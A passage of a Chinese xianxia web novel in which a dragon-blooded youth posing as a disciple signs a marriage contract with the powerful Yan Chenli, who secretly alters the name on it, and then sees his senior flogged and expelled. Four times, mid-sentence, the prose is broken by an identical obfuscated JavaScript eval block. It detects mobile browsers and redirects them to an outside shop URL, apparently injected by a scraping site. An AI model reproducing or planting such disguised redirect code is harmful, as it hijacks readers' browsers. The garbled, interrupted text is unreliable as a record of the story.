同时腹中龙崽生命力在一点一点消失,原先有节奏的跳动,也在一点点停止。 龙魂比他更着急。 好不容易有了龙族后代啊,尚未成型就要胎死腹中,他们比谁都难受。 “我们只是一缕残存的神识,若不是因为你,都无法凝聚起来,上次救你出阴墟已然耗费了我们所有力量,尚需时间恢复……我们……我们试试……” 所有龙魂再次凝聚,可这次没有那么好的运气了。 看着眼前的老头银发染墨,枯木回春,挣脱了锁链,越来越强,羽熹渐渐撑不住,视线模糊起来。 就在这时,身后有一道快得难以捕捉的风,从狭长的通道极速奔来,一秒出现在羽熹身后,霎时间一股冷冽的气息将他全身笼罩。 有一双手从身后探出,揽住他的腰,轻如云坠。 但另一边,所有压迫性的力量倾注在一掌上,从他身侧击出。 轰隆—— 囚笼玄铁被震碎成齑粉,原本的阵法也被打散,无形的巨掌拍在恭长夜身上,只听见五脏六腑爆裂的巨响,人当场被分裂,只剩一张皮包裹着,不成形状。 血肉模糊的一面,羽熹没有看清,用力眨了眨眼,只看见揽着他腰的人锋利的下颌,还有冷冽肃杀的眼神。 鄢尘离扭头看着怀中少年嘴唇苍白,面上顿生阴云,黑沉沉的眸子满是杀意。 意识到被人耍了的看守弟子带着一群人回来,应冕也在列。 “怎么了?发生了何事啊?噫!这孩子怎么跑到这里来了?没受伤吧?” 应冕拎着衣摆跑过去一瞧,吸了口气,“这是……龙角?” 少年身上龙鳞未退,两只小巧的龙角蒙着一层灵蓝色幽光,昭显着他与人族的不同。 应冕有些好奇,伸出指尖想去摸一摸,鄢尘离却顺势避开了。 鄢尘离:“他受了伤,我先带他回去。” 应冕悻悻收回手:“好,快去吧,我来处理恭长夜的事,看来,把他关在这里还是不够妥当——” 一转身,话被卡在喉咙。 他微微错愕地看着破笼中的那团不知名物体,额角莫名突突地跳,“你……你怎么把他杀了?” 回答他的只有笼中飘出来的腥风。 “……” 鄢尘离将羽熹带回了自己的住处,先是仔细检查一遍他的身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984396|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,接着便为他疗伤。 半个时辰后,鄢尘离将少年放在床上,应冕处理好了恭长夜的事,跑过来询问风小六的情况。 “他怎么样了?腹中龙蛋如何?”应冕问。 他问天阙好不容易有了一条龙,可得好好带回去供着,这才几天,怎能让他出事。 鄢尘离收回探脉的手,道:“他虽耗损严重,但并未伤及根本,腹中孩子也平安无事。” “那就好,那就好。”应冕舒展眉目,“是我的疏忽,本想着船上安全,就安排他一个人住,他也自在一点,现在看来,还是得有人看着他才好。” 应冕语气中带着暗示,瞟了鄢尘离好几眼。 鄢尘离丝毫没注意,目光停驻在少年身上。 少年脖子上的龙鳞痕迹已经消退,皮肤再次变得光滑白皙,唯有额头上的龙角还不肯收回,嫩山笋一样冒着,看着总让人想着折来看看。 他觉得奇怪。 风小六修为弱,凭恭长夜也当时爆发的力量,少年不死也得重伤难治,但偏偏毫发无损。 方才他将一丝真元注入少年体内探寻,发现了一些不属于少年气息的力量,两者之间同宗同源,正是这股力量在保护他。 同族? “说句话嘛,无相大人,你觉得呢?”应冕伸手在他眼前晃了晃。 “什么?”鄢尘离回神。 “……” 应冕摇摇头,“你真要与他结为道侣?” “嗯。” 应冕严肃起来,“是为这张脸,还是为他肚子里的龙族后裔?” 鄢尘离不答反问,“掌门觉得呢?” “我可不相信无相大人是这种人。”应冕又补充,“这两种都不信。” 鄢尘离掀开垂帘,给自己倒了一杯水。 应冕跟过去等了等,见他没有要给自己来一杯的意思,只好自己动手。 “不谈这个了,我们来说说本届弟子试炼大会吧。”应冕坐了下来。 “原本云方仪天赋绝佳,够资格拜入你的门下,但前阵子发生了意外,难再修仙,自然是无缘了。不过这届弟子出类拔萃者众,不乏少年奇才,你若是觉得可以,便挑选一个弟子教来看看,如何?” “我不收徒。”鄢尘离丝毫不给面子。 “哎呀,我还不是想着你这么多年都是一个人,形单影只,有个徒弟跟着你,你出入十四州斩妖除魔,也有个伴儿……” 鄢尘离眼神古怪地看了他一眼,仿佛不理解他在说什么。 “道侣是道侣,徒弟是徒弟嘛。”应冕看破他眼神里的含义。 两人僵持了一会儿,应冕知道说不动他,只好告辞。 “哎,曾经沧海难为水……对了,你的伤如何了?” 鄢尘离摇头,看样子是不能再从他口中听到一个字了。 应冕叹了口气,带上了门。 飞艎拨开云层,与一轮残月不期相见。 敞开的窗户透进银色的月光,霜冷寒凉。 鄢尘离取出一块贴身带着的玉佩拿在手中把玩。 这本是一块双鱼玉佩,但只有一条鱼,断裂处已经被经年累月的摩擦摸得圆润光滑,不仔细看丝毫看不出痕迹。 他拇指腹捻过鱼眼位置,玉佩通体发出一道莹莹的光芒,接着便渐渐生出了玉烟,逐渐凝聚成形。 玉烟中,一个少年的轮廓逐渐成型,和床上躺着的风小六,有个七八分相似。 11. 结契书 似乎是感应到有目光注视着自己,床上的少年皱了皱脸,翻身呈一个“大”字平躺。 亵衣衣摆在翻动间滑到腹部以上,露出了一截细腰,随着呼吸一起一伏。 没多久呼吸节奏变了,鼓动的肚皮停止起伏,羽熹缓缓睁眼醒来,一歪脑袋就看到房间里有人在看着他。 “你怎么在我房间。” 羽熹慢吞吞坐起来,揉了揉眼睛。 抬手就摸到自己一对龙角,并不惊讶,习惯性地在龙角尖也揉了揉。 ——让人怀疑龙角这么圆润光滑就是他自己每日盘的。 “……”鄢尘离目光落在龙角尖尖上看了一会儿,才道:“这是我房间。” “哦。”揉龙角的动作慢慢停下来。 他慢慢想起来方才发生的事,记起来是鄢尘离救了他,动了动嘴,欲言又止。 “死了。” 鄢尘离没头没尾一句,羽熹一下子没反应过来,过了一会儿才知道他在说什么。 那老头儿就这么死了? 他还没问清楚他究竟知道什么,唯一的线索就没了。 “……” “今晚你就宿在此处。” “这不好吧,我睡了你的床你去哪儿?” 羽熹侧躺着懒懒支着颐,嘴上说着不好,却半点没有要起来的意思。 “我自然也在这儿。” “不行,我不喜欢三个人睡。” 鄢尘离:“???” 羽熹抬手指了指自己,接着指向鄢尘离,最后指尖回转,落在自己腹部。 我,你,我崽。 三个。 鄢尘离:“……” 片刻后,他顾自几步走到卧榻边盘腿打坐,没再理会少年。 羽熹刚醒,受过伤身体又不爽,懒得动弹又睡不着,躺着看了会儿天花板,一个人在床上盘了会儿龙角,舒服得眯了眯眼。 百无聊赖,最后还是决定去骚扰一下鄢尘离。 “喂,你要徒弟不要?” 鄢尘离合着眼,充耳不闻。 羽熹以为他没听见,张口就要复述,就听那人开口,“废物不收。” “你别这么说云师兄。他是为了救我才变成这样的。” “说你。” “……” 问天阙在中州东南群山中,距离无上城驻地仅有半个扶幽海,天蒙蒙不明时分,飞艎已经停靠在山门渡口。 羽熹睡着时,雷鸣闪电都震不醒。 鄢尘离在旁边等了三炷香时间,见他丝毫没有要醒过来的意思,便叫来弟子把他手动唤醒。 “唔……天塌了?”羽熹茫然睁开眼。 敛真然有些不自然地看了看鄢尘离,小声道:“小六,快醒醒,已经寅时三刻了,咱们要去宿芒宫。” “什么蜜枣粥?” “……” 敛真然给他把衣物送来,耐心地帮他梳洗打理,替他将一捧墨发用玉冠束好,还把备好的早饭布好。 这一应琐事都是在一刻钟内完成,直到跨出门槛,羽熹眼皮子都没彻底睁开,张着嘴打了个哈欠。 “不会是要我像其他弟子一样晨练吧?我不去我不去。” 他翻身往回窜,敛真然一把拉住他。 “不是,我们要去宿芒宫请因缘笔,为你……为你和无相大人写结契书。” “!” 羽熹瞬间清醒,整个人都站直了。 不是,他来真的? 怀疑的目光落在门外等候的男人身上,满眼都是不可置信。 “他怎么这么着急?葫芦里卖的什么药?”他在识海中发问。 性命攸关的大事,龙魂们都放下手中整理的籍录,你一言我一语地讨论。 “此事必有蹊跷!” “废话,这不显而易见?” “我方才向聿明探出一丝神识打探,发现他似乎受了伤,恐怕跟你结为道侣跟这个有关。” 有伤? 羽熹打量着面前的人,先前几次跟他见面,都是在十分危急的场合,看他装.逼退敌的样子,可一点不像受了伤。 龙魂做了个拍惊堂木的动作,并指一点,“哟呵,这个胆大包天的魔君,我们还没把他吸干,他就打起你的主意来了。羽熹,你不能跟他结为道侣,他肯定要把你当做炉鼎将你榨干好给自己疗伤。” “……” 这时候,鄢尘离转过身来,目光淡淡地看了他一眼,“走吧。” 羽熹回头一看,不仅是敛真然,守在门外的还有四名弟子,皆是白衣金麒麟纹,内门弟子。 无相大人一声令下,他们就围上来,半赶半拥簇着将他推在前面走。 不知道的还以为押送犯人呢。 羽熹:“你们看我跑得掉吗?” 龙魂:“……” 敛真然一副心事重重的样子,抬头看一眼鄢尘离决然的背影,又看向一旁迷迷瞪瞪的风小六。 “小六,你可知道结为道侣是何意?” 风小六从前都跟在云方仪身边,心思单纯不谙世事,虽然喜欢长得漂亮的人,却未必懂得情爱是何物。 “啊?”羽熹不明白他为何有此一问,这在天界不是海里的小鱼小虾都知道的事么。 “道侣不就是两人一块儿结伴修炼,资源互换,提升修为么。” 敛真然叹气。 他果然不懂。 “结为道侣,首先要请因缘笔写结契书,以天道为见证,将结契二人宿命之线拧在一起,誓忠贞,感生死,共双修,二人从此神魂共鸣,不得背叛。宗门联姻,还要举办结契大典,昭告天下。” 说到这里,他停顿一下,“此事匆忙,来不及办结契大典,但在宿芒宫请因缘笔见证也是一样,等同于成婚。可云师兄——” 羽熹猛地顿住脚步。 “小六,你怎么了?”敛真然奇怪的看着他。 羽熹后退两步。 成……成婚? 龙魂激愤:“还要双修!他果然图谋不轨!” 羽熹:“……” 不行,他怎么能和聿明成婚。 以后回了天界,说出去都是个笑话。 起码会被笑三千年那种。 他看也没看顾自走在前面的人,转头就跑,犹嫌慢,直接用飞的。 才不过转头一瞬,迎面就撞进了一个坚硬的胸膛。 鄢尘离手握在他侧腰将他禁锢住,眉峰一挑,略带戏谑,“害怕了?” “谁怕你!” 羽熹一把将他推开,拍了拍跟他接触过的地方。 “那你这是打算上哪儿?” “我忽然尿急不行么……”说着,羽熹忽然眼眸一抬,想起了什么。 “走吧走吧。”他不打算跑了,抖抖衣衫大步转回。 差点忘了,这人是要跟风小六为道侣,他又不是风小六,怕什么? 即便有那什么因缘笔,最后跟鄢尘离结契的也是风小六,束缚不了他羽熹。 问天阙十二仙峰七十二宫,宿芒宫是最高的一座宫殿,几乎在任何位置,都能看见大殿后那座星塔的塔尖。 鄢尘离快羽熹一步,缓缓踏入大殿,忽然对身后少年说,“契书即为婚书,你我结为道侣,按俗规,宗门结姻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984397|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,应有结契大典,昭告天下,你若需要,日后可补。” 羽熹看了看他那张脸,又想起在天上跟他斗得你死我活的时候,登时眼珠子往上滚了滚。 “这就不必了。” 大殿之上,应冕同几位仙尊站定,面前的金台上,悬着一支紫玉笔,笔毫无墨自朱。 应冕唤两人上前几步,拿起了因缘笔,问:“鄢尘离,风小六,你二人可确定要结为道侣?” 这句话并非结为道侣的必要流程,只是应冕自作主张想要再次确认一下。 他总觉得风小六是被迫的。 他有些一言难尽地看了一眼鄢尘离,对方并不鸟他。 “确定。” “写吧。” 两人同时开口。 羽熹立马闭嘴。 和死对头同频了!骇! 应冕却未提笔,一手别着衣袖,一手在案台一挥,打开了一张金色的锦书。 “一人取一滴血滴在契书上。” 鄢尘离干脆地上前,并指划开手指,殷红的血珠溅落在金色丝帛上,晕开成一朵花。 随后,那血花犹如活过来一般,在丝帛上跃动游移起来,似乎在寻找什么。 “我怕疼。” 鄢尘离向他伸出手,难得语气不那么冷漠,“我轻点。” “……” 总觉得哪里怪怪的。羽熹磨蹭着把手给他。 鄢尘离握住他手腕,在他指尖扎了个孔。 “嘶~” 挤了几滴血落下去,与丝帛上游荡的血珠立马融合纠缠在一起,仿佛几辈子分别一朝得见一般激动得冒烟。 应冕这才提起因缘笔,将笔尖悬于锦书上,那两滴交融的血珠像是受到吸引,立马沸腾起来,一齐涌向笔尖,一半吸附在笔毫上。 “金书红字,落笔成契。” 墨一落下,锦书盛出金光。 “等等。” 鄢尘离忽然上前一步,伸手接过因缘笔。 “我来写。” 因缘笔不认主,谁写都一样。 应冕把笔给他。 鄢尘离衣袖挥舞,很快书写好了大半。 羽熹却觉得不对劲,“等一下。” 事出反常必有妖。 这人何故闲的没事做,写个契书这种小事也要亲自来? 这因缘笔是紫色的,一看就不是什么正经笔,难不成他要在契书里头做文章? “让我看看。” 接过契书,羽熹快速看了一边契书内容,见上面不过是写了两方姓名生辰八字,及结为道侣互相扶持携手一心问道飞升之类的废话,没琢磨出名堂。 “前辈们,你们快帮我看看,这纸笔有无问题?” 指尖处,一道微不可见的金芒闪过,龙魂们循着笔迹的灵气痕迹细细研究。 应冕笑了笑,仿佛知道他在想什么,“孩子,不必担心,用因缘笔写契书,只是引天道之力作为见证,是有利于结契二人双修的,不会损害任何一方身体。” 龙魂们纷纷赞同,“引天道之力见证,他说的对,这笔没什么问题,就算他在上面写婚后要你成为他的炉鼎,也没有用的。” 羽熹:“……” 他要是真想把自己当炉鼎,还需要契书来约束? “拿去吧。” 没看出什么,羽熹还给了鄢尘离。 本就写得差不多了,鄢尘离补上最后几笔便算落成了,他两只手扯着金帛两头缓缓卷起。 拇指划过风小六名字那处时,只见他指尖不着痕迹一抹,金帛表面的遮挡便散去,变成了另一个人的名字。 12. 问罪 应冕一挥手,那金帛便飞至案台之上,金光大盛,血字全都被那束光吸干。 “双方交换信物。” 鄢尘离从腰间的储物扣中取出一只雕刻着暗红色纹路的黑色法镯送至契书上,接着看向少年。 “还要交换信物?” 他一醒来就被叫来签婚书了,根本不知道有什么流程。 低头摸了摸浑身上下,想拿一件风小六的随身物件蒙混过关算了,反正婚书上写的也是风小六的名字。 结果发现,他除了手脚俱全,衣衫上连颗大点的扣子都没有。 羽熹只好探手摸向袖口下,从他腕上的龙鳞甲片下摸出一颗晶莹剔透的珠子。 他平生爱好不多,一爱与魔神聿明斗法,二爱收藏圆圆的亮亮的珠子。 他身上很多鳞片下都藏有这种珠子,没想到都跌落凡修界了,这些东西竟然还没掉。 看着手心乖乖躺着的莹润光泽的夜明珠,羽熹有一丝不舍,扔出去前,他又问了一个问题。 “如果我想解契该如何?” “这个……想要解契么,”应冕飞快看了鄢尘离一眼,咳嗽一声,“将两样信物同时击碎。” 听得还是可以解除,羽熹放心了,心下打算着等到平安孕育出龙蛋找到回天界的办法,便与他解契。 两件信物飘到契书上头,相互围绕着旋转起来,接着便被展开的契书包裹住,紧紧地将信物缠在一起。 很快契书便消失了,化成一道道无形的丝线,在两件信物之间千丝百绕,将因缘笔的力量融入其中。 一道红线在两人之间慢慢延展,接触到两人身体后,四处碰碰敲敲。 确认是契书上写的人后,两头便乱七八糟地将人绑缚住,一看就很难解开的样子。 绑好后,红线微微闪烁几下,便隐没了。 “成了,二位日后就是道侣了,信物从此交换,望各自收好,互不辜负。” 鄢尘离抬手接住落下的夜明珠,明珠小小一枚,却温润细腻,就像那少年额上的龙角。 他垂着眼,将夜明珠在手心翻转一番,又顺着红线看向另一端的少年,那双漆黑不见底的眼眸瞬间如星河被撼动一般猛烈地颤了颤。 羽熹对他怪异的眼神浑然不觉,摊开手接住那枚镯子。 这镯子最好是什么了不得的法宝,否则都对不起他这么大的牺牲。 拨弄一番,没找到什么关窍,又觉得无趣。 “戴上。” 鄢尘离命令的口吻响起。 羽熹誓要跟他反着来,“我偏不戴。” 说着便收了起来。 鄢尘离眼神一暗,似是不悦。 “别吵架别吵架,二位既然已经结为道侣,就要互相扶持,以礼相待,无相大人改改你那臭脾气,小六你别跟他多计较,这日子嘛都是过出来的……” 应冕唠唠叨叨的,大有滔滔不绝之意。 两人都听不下去,同时转身离开。 羽熹见这人又学自己,立马转了个向,走窗户跳出去了。 敛真然立马追上去,“小六,你怀着孩子,别乱跳,那窗台很高。” 应冕:“……” 呵呵……呵呵…… 问天阙山高风清,灵气缭绕,日光温和地包裹着山头,偶有几只仙鹤发出清越的鸣啼,结伴飞过高峰。 羽熹望着太阳舒服地眯了眯眼,问:“真然师兄,我能见云师兄了么?” 敛真然脸上终于有些云销雨霁的样子,点点头。 “契书已签,无相大人说过了,你若想见云师兄就带你去,他已经知会了业罪司,准你进入。” “业罪司?” 羽熹皱起了眉。 这地方很耳熟。 阴墟那个道貌岸然的守门弟子跟他提到过业罪司。 貌似是管弟子罪业刑罚之处,云方仪又没犯错,为何会在业罪司? “云师兄也很想见你,你去了就知道了。” 敛真然有些为难地开口,“能不能请求你一件事,一会儿不要告诉他你和无相大人结为道侣的事?” “你放心吧,这又不是什么光彩的事。”羽熹摆摆手。 敛真然苦笑。 业罪司在问天阙正峰,此去路程不短,峰与峰之间虽有云桥相连,然而只到半山腰间,直通峰顶大殿还有几千阶的长梯。 羽熹已经是两股战战,忍不住问:“咱们为什么不坐那个什么飞艎?” 敛真然脸不红气不喘,“问天阙范围内飞艎禁飞,而且按照门规,非必要不御剑。” 羽熹:“……” “你若是累了,我背你上去?”敛真然走到他面前作势要蹲下。 “不用了。” 羽熹摆摆手,一鼓作气,没鼓动。 磨蹭好半天终于抵达业罪司,一张熟面孔在阶前等着他。 “怎么是你?”羽熹蹙眉。 赵绪一不阴不阳道:“不是我还能是谁,云方仪么?” 敛真然在羽熹耳边道:“赵师兄如今替了云师兄位置,是业罪司掌事弟子。” “哼。” 赵绪一低声嗤笑,“随我来吧,审判要开始了。” 审判? 羽熹带着疑问跟上。 业罪司大殿之后是刑台,几人一进去,就看到邢台上跪着一身素衣的云方仪,一众白衣弟子肃然立在台下。 羽熹眨了眨眼,赫然看到逆光下的刑台上,站着几个业罪司的长老,鄢尘离也在列。 鄢尘离负手而立一副云淡风轻的样子,大概已经到很久了。 “……”羽熹一口气堵在喉咙,扭头疑惑地看着敛真然,“你不是说问天阙非必要不御剑?” 敛真然摸了摸鼻子,“是普通弟子不可,无相大人自然是可以的。” “……” 鄢尘离接收到火辣辣的目光,淡淡地看过去,眸光波澜不惊,仿佛在说:你自己要翻窗走的。 羽熹磨了磨牙:“……” 好好好,给我等着。 “这是干什么?”羽熹走到刑台下看了一眼跪地垂首的云方仪。 敛真然道:“问罪。” 业罪司长老或许是有鄢尘离授意,等他们一来,便开始了审判。 “云方仪,你可知罪。” 云方仪头也不抬,声音很低,“弟子知罪。” 长老:“所犯何罪,自行禀明。” 云方仪抬了抬头,蓦地看见台下的少年,眼眸一动,随即黯淡下去,不悲不喜地张口, “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984398|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟子云方仪,业罪司掌事弟子,在问天阙弟子试炼期间触禁犯错有二,一不该擅离职守,私自离开试炼场,以致试炼谷发生意外未及时上禀,导致试炼弟子重伤十七人。二不该擅闯阴墟,以致阵门衰变加速,多处阵门结界崩塌,漏放妖邪为祸世间。弟子知罪,甘愿受罚。” 他细数自己犯下的错,桩桩件件其实都是为了一个人而已,众人心知肚明。 羽熹有些愕然。 原来这么一件事背后,竟然牵扯出这么多问题,他这些日子不是在昏睡就是被人软禁,什么消息都没有,还以为天下太平。 “不是这样的。” 羽熹忍不住站出来,踏上刑台台阶,与几个长老辩驳,“他是为了救人,那个阴墟阵门在他来之前就已经开始衰变,一切都是因为那个守门弟子,跟云方仪无关,你们不把那个守门弟子押来审问,罚他做什么?” 他擅自打断问审,又冲撞长老,已经是大不敬,但没有人出声责怪他,多半也是看着无相大人的面子。 赵绪一站出来道:“庄游崖勾结外人擅闯阴墟,背叛师门陷害同门自然是罪孽深重,已然畏罪潜逃,掌门已经派出人去追捕他,他有罪不假,云方仪亦有过,方才所属二则皆为事实,即便是上天镜台审判,也必不会错怪他。” “但他已经为此付出了代价!”羽熹愤愤不平。 “小六。”云方仪叫住他,“别说了,一系列后果都是因我而起,我认,你不用为我求情。” “可这不公平!” “没什么不公平的,小六,我擅离职守,擅闯阴墟,动机皆为私心,因私心害了那么多人,我理当受罚,只有这样我心里才会好受些。” 羽熹沉默了。 长老见他没有异议,便宣判结果。 “云方仪身为业罪司掌事弟子,罔顾同门性命,不顾天下安危,私自行动,触犯门规,罚戒鞭七十二,并逐出师门。念在并未造成不可挽回的后果,又是救人心切,减刑三十六,立即执行,可有异议?” 云方仪垂首,“弟子无异议。” 长老一挥袖袍,便有弟子领着戒鞭站出来。 “受罚后你便不再是问天阙弟子,念在往日同门情谊,可在此养好伤后自行离开。” 说完几位长老便离开了。 云方仪跪在刑台之上,一道又一道的鞭子在他身上落下。 他已然修为全废,每一道鞭子都几乎能打碎他的骨头,他只能死死咬着牙,硬生生扛过去,没喊过一声痛。 羽熹心有不忍地转过脸去。 三十六鞭还没打完,鄢尘离却提前走了。 无相大人的离场并不代表着鞭刑结束,一道道破空的裂响回荡,落在皮肉上发出一种又湿又黏的声音。 云方仪受不住倒在地上,后背一片血肉模糊,喷出的血已经将面前的地染红,很快又握紧拳头强撑起来。 敛真然数着次数,在最后一下收回后,连忙跑上去扶起云方仪,云方仪已经是晕死过去,他便叫来几个师兄弟一起将人小心地抬回后山寓所。 “我去请玄月峰的长老们来为师兄医治。”敛真然把人放下后转身就走。 有人沉声叫住他,“别去了,公子已经不是问天阙弟子,玄月峰长老们事务繁忙,不会来的。” 13. 谢乔 院中有个叫云霄青的杂役弟子同风小六一样,是跟着云方仪而来,并未拜入问天阙。 他叫住敛真然,走到内间储物阁翻找,“业罪司赏罚严明,在公子已经修为全废的情况下,不会用带有灵刺的鞭子,只是普通鞭刑,公子自幼练体,不会危及性命,这里有很多灵药,内服外敷很快就能见效。” 敛真然随他进入内间,目光扫过架子上一堆瓶瓶罐罐,都是珍稀灵药,随便一瓶放在市面上都是一万灵石起步。 “那快给师兄上药吧。” 羽熹帮不上什么忙,只能守在旁边,起初还有兴致好奇一下架子上的东西,摸了一遍觉得没什么意思,又靠在卧榻上昏昏欲睡地等待。 一直等到日轮碾过东西,暮色四合,手麻了支撑不住脑袋,猛地栽了一下头,才惊醒过来。 “我怎么睡着了。” “小六,你醒了。”云方仪孱弱的声音从床榻传来。 羽熹有些不好意思,明明是自己守着别人,反倒让人家等着自己醒来。 “怎么没人了,云师兄,你好些了么?” 问天阙弟子有严格的作息规定,这会儿房间里只剩他们俩人。 “我没事,对不起。” 他咳嗽两声,羽熹纳了闷儿,“你对不起我什么?” “我没照顾好你。”云方仪眼神诚然,丝毫不关心自己的伤势和处境,只有自责。 “……” 羽熹忽然有些头疼。 这孩子脑子到底怎么长的? 云方仪又说,“等我伤好了就得离开问天阙,我说过会带你离开,虽然现在对你来说,留在问天阙其实是最安全的。” “先别说那些,云师兄,你这是非走不可?” 羽熹打断他的话。 “我已被逐出师门,乾坤已定,就算没有被逐,我已经修为尽废,留在这里又有什么意思。” 他趴在床榻上,换过一次药,额角还渗着汗,嘴唇苍白恍若刚从鬼门关回来。 “这当中就没有疑点么?”羽熹摸了摸下巴,开始思索。 “你擅离职守,试炼场难道没有其他监事?试炼谷又为何会出意外?” 云方仪早有疑问,闻言正色起来,“十七位师弟师妹受重伤乃是事实,我有最大责任,但试炼有异动也是疑点重重,据说是试炼谷结界被破坏了,从青滦妖谷一带闯入几只妖兽偷袭,可结界都是十位长老合力设下,又每隔十里设下哨台,专人镇守,不该出现这样的疏漏。只是我一路过来,没有时间去查明真相,就算查明了,也没有意义。” 羽熹发现这小子有点消极,“怎么没有意义?不是你做的事,为何要平白替别人受着?你只有继续留在问天阙,才能还自己清白。” “我没法留在这里了,我修为尽失,已经是个废人。” “我的意思是说,修为废了,难道不能重头再来么?” 云方仪苦笑:“修为没了可以再来,可灵骨碎了,就什么都没有了。” “灵骨不能再造?”羽熹反问。 云方仪顿了一下,出神片刻,最后还是摇摇头。 “这不可能。”羽熹只相信一个道理——万事无绝对。 修为没了便重新修炼,灵骨碎了就换一根好的。 大道三千万法归一,他不信连换个灵骨都做不到。 “对了,无相大人不是很厉害么?” 号称修真界第一强者,他总有办法能重塑灵骨。 “若是让你拜入无相大人门下,是不是就不用离开问天阙?如此一来,还能再想办法修复灵骨,如果是他,总有一些世人没有的宝贝吧?” 云方仪有些无奈,倒没否定他后半句,“不可能了,无相大人不会收徒弟的。” “为何?” “整个修真界都知道。”云方仪道:“无相大人曾经有过一个关门弟子。” “哦?”羽熹坐近一些,“他这样的臭脾气还有人受得了他?” “小六,不可诽谤无相大人。” 羽熹撇撇嘴,犟着不肯收回他的话。 云方仪无奈,继续道:“那已经是十七年前的事了,我只是听别人提起过。无相大人的徒弟是他在外面捡到,从小养在身边的,那是一个……一个绝世天才。” “你可知上次在扶幽海,恭长夜所用的红色灵石?” 羽熹立马从腰带中摸出那颗石头给他看,云方仪大惊,头一次在他面前疾言厉色。 “小六,这东西很危险,你怎么会有?快给我。” 羽熹没阻止他抢夺,只是觉得奇怪,“上次在海上掉落,我捡的,我看了一下,这不过就是灵石的一种,有何危险?” 云方仪紧紧地攥着红色灵石,仿佛想将它捏碎,但灵石在他手心安然无恙,还幽幽地泛着绿光。 无声的嘲讽。 “这东西叫流萤,因其内部闪烁着萤火虫一样的绿色光芒而得名,而在催动激发它的力量时,便会散发血红色的光芒,故也叫血流萤。” “咳咳……”云方仪忍不住咳嗽两声,捂着胸口缓了缓。 “十七年前,有人创造了一种逆灵转阳之法,可以反向提纯天地灵气,凝成这样的灵石,比普通灵石蕴含的力量更加强大,甚至可以让人迅速突破境界提升修为。” “这么厉害?难怪那天那个恭长夜能以一敌众。” 羽熹目光专注地看着血流萤,无人催动它,却能看见一丝妖冶的红芒在闪烁。 “那这是好东西啊,为何避如蛇蝎?” “非也,它只是暂时性的让人体内灵力暴涨,等到蕴含的力量被消耗干净后,会有反噬期,轻则经脉受损,重则走火入魔甚至爆体而亡。如果少量使用,长期下去也会损害道心,迟早墮魔,危害苍生。” “以前有许多这样的例子,这毕竟是违逆天道的东西,万万不可碰。” 有意思。 羽熹点点头,好奇道:“谁创造的?” 他把玩这石头多次,也用普通灵石来做过比较,看得出来这颗石头内部灵力运行方式与普通灵石大有不同。 只是仍有瑕疵,应该是那逆灵转阳之法尚不成熟,若再完善一二补全缺漏,就不会是云方仪说的那样了。 不知是什么原因没有完善,但不妨碍创造出这个的人是个天才。 “正是无相大人的弟子,谢乔。” “哦~” 羽熹若有所思点点头,“难怪他不收徒呢,有这么个天才弟子,别的人怕是很难入眼。那这个谢乔人在哪里?我怎么一直没见着他?” “凡修界的修士太不懂事了。” 龙魂们指指点点,“你好说歹说也和那谁写了婚书结为道侣,按辈分应该是他的师母,他身为徒弟,理当来拜见才对。” 羽熹:“………………” “呸呸呸,什么师母,晦气。” “他十七年前就死了。”云方仪道。 “死了?”羽熹有些惊讶,“怎么死的?” “不清楚。”云方仪想了想,“只知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984399|193610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道他好像是犯了大错,还是被无相大人亲手处死的。” “嘶~”羽熹有些咂舌,“他可真是一点情分不讲。” 云方仪道:“无相大人这么做必有他的道理。” “……” 羽熹发现了,这小子怕是鄢尘离的仰慕者,听不得别人说他一句不是。 他也懒得跟他争,天色已晚,待云方仪睡下后,他便离开了弟子寓所。 碰巧敛真然在外面等他,见他出来,便走过去,“小六,我送你回无相大人的卧雪宫。” “这次能不能御剑?” 羽熹懒懒靠在院门上,一步都不肯多抬。 敛真然爱莫能助地笑笑。 羽熹就势坐了下来,“那你去告诉他,天黑路远,我走不动,让他来接我,否则我就在弟子寓所宿下了。” 看他耍赖,敛真然也没办法,心下思量,仙尊的道侣算不得普通弟子,那“非必要不御剑”的规矩自然不拘束他。 